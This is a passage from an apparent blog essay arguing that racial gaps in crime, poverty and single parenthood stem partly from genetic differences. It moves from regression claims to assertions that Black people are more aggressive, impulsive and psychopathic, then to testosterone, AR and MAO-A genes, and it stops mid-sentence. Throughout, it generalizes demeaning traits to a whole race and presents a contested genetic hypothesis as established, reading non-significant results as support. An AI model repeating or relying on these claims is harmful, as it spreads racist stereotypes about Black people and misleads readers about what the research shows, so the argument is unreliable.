Similarly, Kposowa, Breault, and Harrison (1995) analyzed crime variation across 2,078 U.S counties and found that the proportion of the county that was Black continued to predict crime even after controlling for county differences in poverty, divorce rates, income inequality, religiosity, population density, age, and education.
I can add to this literature two analyses that I recently did (again, with substantial help from Martin Alexander, who runs the blog “Of Psych and Society“).
In the first analysis, using data from the Census and the FBI, data on the racial demographics, violent crime, poverty and education levels, and family structure of 306 American cities in the year 2014 was analyzed. Violent crime rates were put through a log transformation to correct for non-normality. The percent of a city that was Black continued to predict its violent crime level after holding poverty, education, and family structure constant (2).
Similarly, in the second analysis data on 231 American cities in the year 2006 was analyzed. Once again, the proportion of a city that was Black continued to predict its crime rate even after controlling for city differences in poverty, education, and family structure (3).
In both models, the introduction of these multivariate controls reduced the bivariate relationship between % Black and violent crime by about half. Some might interpret this to suggest that half of the Black/White crime gap can be causally explained by single parenthood and poverty. However, this would be incorrect. % Black’s association with crime may be reduced by controlling for poverty and single motherhood because these variables cause crime, because these variables are caused by crime, or because Blacks tend to be poor, criminal, and from single parent homes due to some confounding variable. Thus, these analyses only provide us with an estimate of the maximum proportion of the relationship between race and crime which is attributable to single parenthood and poverty, and that maximum estimate is half.
Another source of evidence comes from the relationship between racial differences in wealth and crime over time. Over the 20th century, the Black/White wage gap has lessened while the Black/White crime gap has widened (4).
Finally, Zaw and Darity (2016) looked at how crime varied among individuals of different races and varying amounts of net wealth. As can be seen, the results of this analysis also cast serious doubt on the idea that poverty can explain racial crime gaps.
Chart from Ehrenfreund (2016) data from Zaw and Darity (2016)
Given the uniformity of the results across these analyses, we can say with a reasonable degree of confidence that a significant proportion of the relationship between race and crime cannot be explained by poverty or family structure.
Racial Differences in Family Structure, Crime, and Poverty are geographically and temporally consistent
Sargon also talks about gangs as a cause of Black crime rates. Here, we can find some agreement: it is almost certainly true that Blacks would be less criminal if they were not involved in gangs. However, this proposition naturally leads us to wonder why it is that Blacks are so involved with gangs in the first place.
Sargon would likely say that this has to do with poverty and family structure but, as we’ve already seen, these variables cannot explain the Black/White crime gap.
It would also be reasonable for us to wonder why it is that Blacks are so much more likely to have children outside of marriage and to be poor. Neither of these facts about American life are new, nor are they exclusively American. The same can be said of crime.
If we look back in American history we can see that, relative to African Americans, Whites have always, though to varying degrees, been richer:
Less likely to have a child outside of marriage:
And more likely to be criminal (5):
This mirrors what we see around the world. Black nations have higher rates of both crime and poverty than White and East Asian nations do:
Rushton and Whitney (2002)
(6)
Similarly, African nations have the highest rates of single parent households:
As it turns out, the explanation for why Blacks, around the world, have such high crime rates also explains part of why Blacks, around the world, have high rates of poverty and single parenthood.
The Alternative Hypothesis
This Alternative Hypothesis is that, for partially genetic reasons, Blacks are more likely than Whites to exhibit various personality traits which in turn causes them to have high rates of crime, poverty, and single parenthood.
Those unfamiliar with behavioral genetics may be surprised by such an explanation because they are uncomfortable with the idea that behavioral differences between people have a genetic basis. However, twin studies done over several decades have shown that variation in virtually all human traits is partly caused by genetics (Polderman et al. 2015). Traits studied in these studies include criminality, income, and family structure.
Others will be uneasy with the idea that there are genetic differences between the races. We all recognize genetic differences in non mental traits such as height and skin color. For political reasons, we resist applying this same thinking to mental traits. From a genetics standpoint, this inconsistency is even more problematic that it might at first seem because the genes that differ the most between races are ones involved in the brain.
Wu and Zhang (2011)
With that being said, let’s start with racial differences in personality traits related to crime and then work our way back to genes.
Racial Differences in Aggression
The personality trait most obviously associated with crime is aggression. There are several lines of evidence suggesting that Blacks are more aggressive than Whites. First, Blacks are more likely than Whites to get into fights at school.
Child Trends Database
Secondly, Blacks are more likely than Whites to bully people at school (Wang, 2013).
Thirdly, the more violent a crime is the more heavily African Americans tend to be overrepresented in it.
Thus, there is good reason to think that Blacks are more aggressive than Whites are.
Racial differences in self control
Blacks are also more impulsive than Whites are. Self control is experimentally measured by having people choose between a reward they can get now and a larger reward they can get later. People who choose to receive a larger reward later have a greater ability to delay gratification and, so, more self control.
Such studies have shown that low self control predicts criminality and poverty even after controlling for IQ and parental socio-economic status (Moffitt et al. 2010). Moreover, racial differences in self control have been found many times. For instance:
Michel (1958) conducted the first experiment on self control on a sample of 53 children aged 7-9 living in Trinidad. He found Black children had less self-control than Asian children.
Herzberger and Dweck (1978) looked at a sample of 100 4rth grade American school children and found that Blacks had lower self-control than Whites even after controlling for socio-economic status.
Warner and Pleeter (2001) took advantage of a semi-natural experiment which came about due to the military. In the mid 1990’s the U.S Government offered sufficiently experienced military personnel two options when they retired: they could take a large lump sum of money now or agree to get a yearly payment from the military for the rest of their lives which, over time, would add up to far more than the lump sum. Warner and Pleeter were able to find data on the choices of 66,000 individuals and found that Blacks were 15% more likely than non-Blacks to take the lump-sum while.
Wany, Rieger, and Hens (2011) utilized a sample of 5,291 university students from 45 countries and gave participants a chance to choose an immediate monetary reward or a larger long term reward. The chart below shows the proportion of people from different regions that chose the larger and less immediate reward:
Castillo, Ferraro, Jordan, and Petrie (2011) had a sample consisting of 82% of the student population of 4 middle schools in a poor Georgia school district. As they write “In our experiment, subjects are asked, orally and in writing, to make twenty decisions in total. For each decision, subjects are asked if they would prefer $49 one month from now or $49+$X seven months from now. The amount of money, $X, is strictly positive and increases over the twenty decisions.” Using this design, they were able to measure at what point people began to prefer the later reward and, thus, the strength of their preference for immediate gratification. Blacks were found to have significantly less self-control than Whites.
Borgo (2013) looked at data on 25,820 American households and found that Black homes had lower savings rates than White homes even after controlling for differences in income, age, family size, education, region of residence, and marriage. Normally, using savings rates as a measure of self-control would be problematic because it is obviously easier to save money if you have a large income, but this study utilized an impressive set of controls and so can be taken as a valid measure of self-control.
Finally, Andrade and Petry (2014) looked at a sample of 317 individuals with gambling problems and found that White gambling addicts had more self-control than Black gambling addicts even after controlling for education, drug problems, and income.
Thus, racial differences in self control have been shown to exist across many studies. Said differences exist around the world, in children and adults, and cannot be explained by racial differences in socio-economic status. These differences likely contribute to racial differences in crime, poverty, and non-marital birth rates.
Some people may note that Sargon cited a study, the Edinburgh Study of Youth Transitions and Crime, which claimed to find an association between poverty and crime even after controlling for differences in impulsivity. This, in turn, may be taken as evidence against my view that self control significantly confounds the relationship between poverty and crime.
I do not take this to be compelling evidence against my viewpoint for a four reasons. First, it is only one study. Secondly, the study utilized a self report measure of self control (Smith et al., 2001). Specifically, participants were asked to rate the degree to which they agreed with the following statements to measure impulsiveness:
Planning takes the fun out of things
I get into trouble because I do things without thinking
I put down the first answer that comes into my head on a test, and often forget to check it later
I get involved in things that I later wish I could get out of
I sometimes break rules because I do things without thinking
I get so excited about doing new things that I forget to think about problems that might happen
Asking people such questions obviously opens the door for problems stemming from social desirability bias.
Thirdly, several items on this scale do not obviously relate to the time preference (preference for immediate rewards over future ones) based notion of self control that is used in most (not all) of the studies I have cited. Given this, individuals may be equal in their scores on this scale but differ in time preference.
Finally, if it is true that poverty correlates with crime independently of self control, it does not follow that self control does not also cause poverty and crime. Stated differently, the fact that self control does not explain all of the association between poverty and crime would not imply that it doesn’t explain some, or even most, of it.
Racial Differences in Psychopathic Personality
Blacks also score higher than Whites on measures of psychopathic personality. Lynn (2002) described a common measure of psychopathic personality, the Psychopathic Deviate Scale:
“This was constructed by writing a number of questions, giving them to criterion groups of those manifesting psychopathic behaviour and ‘‘normals’’, and selecting for the scale the questions best differentiating the two groups. The criterion group manifesting psychopathic behaviour consisted of 17–24 year olds appearing before the courts and referred for psychiatric examination because of their ‘‘long histories of delinquenttype behaviours such as stealing, lying, alcohol abuse, promiscuity, forgery and truancy’’ (Archer, 1997, p. 20). The common feature of this group has been described as their failure to ‘‘learn those anticipatory anxieties which operate to deter most people from committing anti-social behaviour’’ (Marks, Seeman, & Haller, 1974, p. 25). The manual describes those scoring high on the scale as follows: irresponsible, antisocial, aggressive, having recurrent marital and work problems, and underachieving (Hathaway & McKinley, 1989). A number of subsequent studies have shown that the Psychopathic Deviate scale differentiates delinquents and criminals from nondelinquents and non-criminals (e.g. Elion & Megargee, 1975).”
Lynn then reviewed 5 studies comparing racial groups on this measure. In White, Asian, and African countries it was found that Blacks scored higher than average in psychopathic personality:
Lynn (2002)
Two later meta-analyses on Black/White differences in psychopathic personality came to the conclusion that Blacks did have higher levels of psychopathy than Whites but that this difference, while statistically significant, was not large enough to be practically significant (Skeem et al., 2004; McCoy and Edens, 2006). However, whether or not this difference is practically significant on its own tells us nothing about whether or not it is one among the many factors which contributes to racial crime disparities. Further more, all the samples used in these meta-analyses were either clinical or correctional in nature. Because of this, the reported mean differences in these studies may be significantly less than what would be found were the sample taken from the general population.
In sum, differences in psychopathic personality likely make some contribution to racial differences in crime, poverty, and non-marital birth rates.
Racial Differences in Stress and Anxiety
Another feature shared by both Blacks and criminals is low levels of stress. Criminologists have explained the association between low levels of stress and crime by positing that many people would be deterred from committing a crime even if they wanted to by the level of anxiety, stress, and nervousness, that attempting to commit said crime would cause, which is why having a less active stress response would predispose people towards criminality.
Having a slow heart beat and a low level of cortisol are both biological markers of this phenomena which have been independently linked to criminality and shown to be more common among Blacks than among Whites. (Aggarwal, 2013; Easton, 2000; “Race and Stress“; Murray et al., 2016; Higginbotham et al., 1991; Gillum, 1988). Blacks also self report generally having lower levels of stress than White people do.
Hormone (ng/dl) Male Female White Black Hispanic Epinephrine 156.66 97.4 107.44 159.57 113.87 Norepinephrine 2830.18 2073.89 2157.9 2921.6 2261.87 Cortisol 1099.79 904.43 1101.61 963.09 1062.74
Masi et al. (2004)
In conclusion, several aspects of Black personality, including higher levels of aggression, impulsivity, and psychopathy, as well as lower levels of stress, likely predispose them to crime.
With this understanding of the proximate causes of Black criminality in place, let’s now turn to analyzing more distal or ultimate causes.
Racial Differences in Testosterone
We’ve already seen that the hormone cortisol may play a role in racial crime differences. Blacks have lower levels of cortisol and this, in turn, makes them have lessened biological stress responses. Low levels of cortisol may also predispose Blacks towards crime because cortisol blocks the action of the hormone testosterone. Having less cortisol means that testosterone will be more active in Blacks.
Testosterone activity has been linked many times to aggression and crime. Meta-analyses show that testosterone is correlated with aggression among humans and non human animals (Book, Starzyk, and Quinsey, 2001). Women who suffer from a disease known as congenital adrenal hyperplasia are exposed to abnormally high amounts of testosterone and are abnormally aggressive. Artificially increasing the amount of testosterone in a person’s blood has been shown to lead to increases in their level of aggression (Burnham 2007; Kouri et al. 1995). In fact, a study of Rhehus monkeys found that injecting female fetuses with testosterone caused them to behave just as aggressively as young males (Book, Starzyk, and Quinsey, 2001). Finally, people in prison have higher than average rates of testosterone (Dabbs et al., 2005). Thus, testosterone seems to cause both aggression and crime.
To return to race, Richard et al. (2014) meta-analyzed data from 14 separate studies and found that Blacks have higher levels of free floating testosterone in their blood than Whites do. Thus, both testosterone levels and cortisol’s interaction with testosterone likely contributes to crime.
Exacerbating this problem even further is the fact that Blacks are more likely than Whites to have low repeat versions of the androgen receptor gene. The androgen reception (AR) gene codes for a receptor by the same name which reacts to androgenic hormones such as testosterone. This receptor is a key part of the mechanism by which testosterone has its effects throughout the body and brain.
All versions of this gene have several repeats of a CAG nucleotide sequence. Variants between people differ in the number of these repeats. Versions of this gene with fewer than average numbers of repeats lead to increased androgen activity and has been associated many times with crime and aggression. For instance:
Rajender et al. (2008) analyzed data on 645 men including 241 convicted rapists, 107 convicted murders, and 26 men convicted for both rape and murder. They found that those incarcerated for both rape and murder had the shortest average number of CAG repeats followed by murderers, followed by rapists. The non criminal controls had the longest CAG repeats.
Butovskaya et al. (2013) conducted a study in Tanzania in which an association between anger, aggression, and AR genotype was found among 138 adult men.
Commings et al. (2003) found an association between AR genotype and the probability that a person’s parents were divorced and that their father was present in the first 7 years of life. They also found the expected correlations between AR genotype and agression, but, possibly due to small sample size, they were not statistically significant
Similarly, Pichard et al. (2007) found that AR genotype predicted anti-social personality in a sample of 1,007 men
Hurd et al. (2010) found a significant correlation between AR genotype an anger and physical aggression, and insignificant but positive relationships with verbal aggression and hostility in a sample of 188 men.
Jonsson et al. (2001) found non-significant relationships with aggression and impulsivity in a sample of 335 Swedes.
Cheng et al. (2006) study found that violent criminals were more likely than controls to have short CAG repeats. However, the difference in means, while in the expected direction, was not statistically significant.
What we see in this literature then is a mix of positive and significant effects and positive and insignificant effects for the relationship between shorter AR genes and aggression/crime. This distribution of effect sizes strongly suggests that the true mean effect is real and positive. On a theoretical level, this finding makes a great deal of sense in light of the role of testosterone in aggression and crime and what we know about the function of the AR gene.
Four separate studies have shown that low repeat alleles of the AR gene are more common among Blacks than among Whites (Irvine et al 1995, Wang et al. 2013, Bennet et al. 2002, and Shibalev et al. 2013). Given this, it is highly likely that low repeat AR alleles increase Black crime rates by increasing the impact of testosterone. Due to testosterone’s impact on sexuality, these same mechanisms may also explain why Blacks have such high rate of single parenthood. This is especially likely in light of the fact that, as seen above, low repeat AR alleles predict family structure.
Monoamine Oxidase-A
The best established crime related gene is the mono-amine oxidase A gene (MAO-A). This gene is involved in aggression, impulsivity, and crime and is known to differ racially.
The MAO-A gene produces an enzyme by the same name. The enzyme MAO-A breaks down a class of neurotransmitter called mono-amines in the brain. These neurotransmitters include ones which are well known to effect behavior such as dopamine and serotonin. Some versions of the MAO-A gene lead to lower levels of MAO-A the enzyme and, therefore, more mono-amine activity in the brain.
The molecular difference between different versions of the MAO-A gene lies in the number of times a certain section of its promoter region |
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